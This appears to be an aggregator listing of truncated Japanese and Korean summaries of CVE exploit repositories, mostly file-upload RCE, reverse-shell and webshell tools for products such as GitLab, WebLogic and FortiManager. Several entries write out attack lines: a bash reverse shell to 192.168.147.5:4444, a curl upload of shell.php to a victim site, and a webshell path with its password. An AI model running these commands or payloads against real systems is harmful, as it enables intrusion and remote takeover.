cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - 認証済みRCE このPoCスクリプトは、Fellipe Oliveira が提供するエクスプロイトに基づいています。 特徴 : st ファイルアップロードの代わりに、Cコードを /hardware に直接アップロード リバースシェルをアップロードする前にデフォルトプログラムを復元 非ブロッキング な改良版Cベースのリバースシェルにより、Webサーバーがハングしません ; バックグラウンドでシェルを起動し、PLC停止後も exit するまで動作します クリーンアップ root@kitploit: $ python...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 コマンド実行と結果表示 シェルを直接アップロード Linux上のWebLogic 10.3.6.0でテストOK 使用方法とパラメータ python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and exit -t TARGET,...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" 詳細 脆弱性は FlexQrCodeGenerator クラスの updateqrcode メソッドに存在します。このプラグインは認証されていないユーザー向けに...

CVE-2020-29607-POC

Pluck CMS 4.7.13 파일 업로드 RCE 익스플로잇 🚨 교육용 원격 코드 실행 익스플로잇 🚨 저자: Ron Jost Hacker5preme 참조: Exploit-DB CVE: CVE-2020-29607 ⚠️ 면책 조항: 이 스크립트는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하지 않거나 테스트 허가를 받지 않은 시스템에서 사용하지 마십시오. 저자 및 기여자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 🎯 이게 뭔가요? 이것은 Pluck CMS 4.7.13 의 파일 업로드 제한 우회 취약점을 위...

FreePBX-Multiple-CVEs-2025

FreePBX-Multiple-CVEs-2025 このリポジトリは、FreePBX において発見された3件のセキュリティ脆弱性（CVE-2025-66039、CVE-2025-61678、CVE-2025-61675）に関する分析、影響、および概念実証の詳細を、セキュリティ研究および注意喚起の目的で文書化しています。 脆弱性の説明 🔴 CVE-2025-61675 FreePBX における、ユーザーが制御する入力の不適切な処理に起因するセキュリティ上の欠陥。この問題により、攻撃者がアプリケーションの機能に影響を与え、システム全体のセキュリティに影響を及ぼす可能性があります。 🔴...

CVE-2025-65676

CVE-2025-65676 Classroomio LMS 0.1.13에서 발견된 저장형 크로스 사이트 스크립팅XSS 취약점으로, 인증된 공격자가 조작된 SVG 커버 이미지를 통해 임의 코드를 실행할 수 있습니다. 발견자: Rivek Raj Tamang RivuDon, 인도 시킴 영향을 받는 제품: ClassroomIO 영향을 받는 버전: 0.1.13 발견자: Rivek Raj Tamang RivuDon, 인도 시킴 취약점 세부 정보 저장형 크로스 사이트 스크립팅 요약 Classroomio LMS 버전 0.1.13에서 저장형 크로...

CVE-2023-40028

CVE-2023-40028: Ghost CMS シンボリックリンクの悪用（PoC） 概要 このリポジトリには、Ghost CMS 5.59.1 より前のバージョン に影響を与えるローカルファイルインクルージョン（LFI）脆弱性である CVE-2023-40028 の悪用を実証するための概念実証（PoC）スクリプトが含まれています。この脆弱性により、認証済みユーザーはシンボリックリンク（symlink）であるファイルをアップロードできるため、攻撃者はホストシステム上の任意のファイルにアクセスできるようになります。 この PoC...

CVE-2023-42791_CVE-2024-23666

Fortimanagerの不十分な認可チェック CVE-2024-23666 および無制限ファイルアップロード CVE-2023-42791 の悪用スクリプト これらの脆弱性を利用した2つの悪用スクリプトを提供します: rce.py: FortiManagerへの非特権アクセスからリバースシェルを取得するか、任意の管理者を追加します。 ManagerGate.py: リモートで管理されているFortiGate SSHサービスへの接続を可能にします。SSHパスワードは依然として必要ですが、FortiManagerの設定バックアップに含まれています。...

HeimShell

HeimShell CVE-2023-51803 HeimShell は CVE-2023-51803 のエクスプロイトであり、LinuxServer.io Heimdall ≤ 2.5.6 の任意ファイルアップロード脆弱性を悪用します。ターゲットのバージョンを自動検出し、悪用可能性を警告するか、SHELLURL で定義された PHP シェルをリモート取得します。 ≤ 2.2.2 : 任意ファイルアップロードは可能ですが、ファイルは静的ファイルとして配信され、URL はリモート取得されません。 ≥ 2.2.3 & ≤ 2.5.6: アイコン URL アップロードを介して PHP...

CVE-2022-29464

CVE-2022-29464 CVE-2022-29464 POC エクスプロイト 使用方法 root@kitploit: usage: exploit.py -h -u URL -l LIST -w WEBSHELL optional arguments: -h, --help show this help message and exit -u URL, --url URL Target url, http://localhost:9443 -l LIST, --list LIST List of target url saperated with new line -w...

CVE-2021-21978

CVE-2021-21978 エコーバージョンのエクスプロイトスクリプト、より簡単な方法 0. 脆弱性情報 VMware View PlannerのWeb管理インターフェースには、ログ機能ファイルをアップロードするエントリがあり、認証がなく、書き込まれるログファイルのパスがユーザー制御可能です。アップロードログ機能ファイルloguploadwsgi.pyを上書きすることで、RCEを実現できます。 脆弱性コード： root@kitploit: def applicationenviron, startresponse: logger.debug"application called" if...

CVE-2022-39952_webshell

CVE-2022-39952を使用してターゲットにBehinderwebshellを書き込む ファイルアドレス: https://xx.xx.xx.xx:8443/shell.jsp パスワード: rebeyond 使用バージョン: Behinderv3.0 スクリプト改良元: https://github.com/horizon3ai/CVE-2022-39952...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...

CVE-2013-3214

CVE-2013-3214 vTiger 5.4.0 任意ファイルアップロードによるリモートコード実行...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 エクスプロイト OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

CVE-2025-66837

CVE-2025-66837 悪意のあるファイルアップロード 説明 ARIS におけるファイルアップロードの脆弱性により、攻撃者が細工された PDF ファイル/マルウェアをアップロードすることで任意のコードを実行できる可能性があります。 CVSS スコア: 6.8 Medium 攻撃タイプ リモート（認証済み） 影響を受けるバージョン 10.0.23.0.3587512 以前のバージョン 製品ベンダー software ag 影響を受ける製品コードベース ARIS 影響を受けるコンポーネント File Upload API. 緩和策 アップロードされたファイルの内容を検証する。 脆弱性の...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting

CVE-2021-460780 エクスプロイトタイトル: Vehicle Service Management System - '複数の'ファイルアップロードにより格納型クロスサイトスクリプティングが発生する エクスプロイト作者: SANU P.L CVE: CVE-2021-460780 CVSS: 4.8 MEDIUM 参照: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 エクスプロイトタイトル: Vehicle Service Management System - 複数のファイルアップロードによるコード実行 エクスプロイト作成者: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 HIGH 参考文献: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution https://nvd.nist.gov/vuln/detail/CVE-2021-46076...

CVE-2021-42362

CVE-2021-42362 WordPressのPopular Postsプラグインは、/src/Image.phpファイルで見つかった不十分な入力ファイルタイプ検証により、任意のファイルアップロードに対して脆弱であり、これにより投稿者レベルのアクセス権限を持つ攻撃者およびそれ以上の権限を持つ攻撃者が、リモートコード実行を達成するために使用できる悪意のあるファイルをアップロードすることが可能です。...

opac-fast-automation

CVE-2025-65862 — ドキュメント、分析、および自動化ツール研究目的のみ ⚠️ 倫理・法的警告 このリポジトリ内のすべての資料は、以下の目的でのみ提供されています: セキュリティ研究、 学習、 脆弱性分析、 および所有している、または明示的な許可を得た環境でのテスト。 脆弱性の悪用、バグの悪用、または許可のない 第三者サーバーへの悪意のあるファイルのアップロードは、違法行為であり、インドネシア法UU ITEおよび国際法に違反します。 著者は、記載されたツールや技術の悪用について一切責任を負いません。 📌 CVE-2025-65862 の概要 CVE ID :...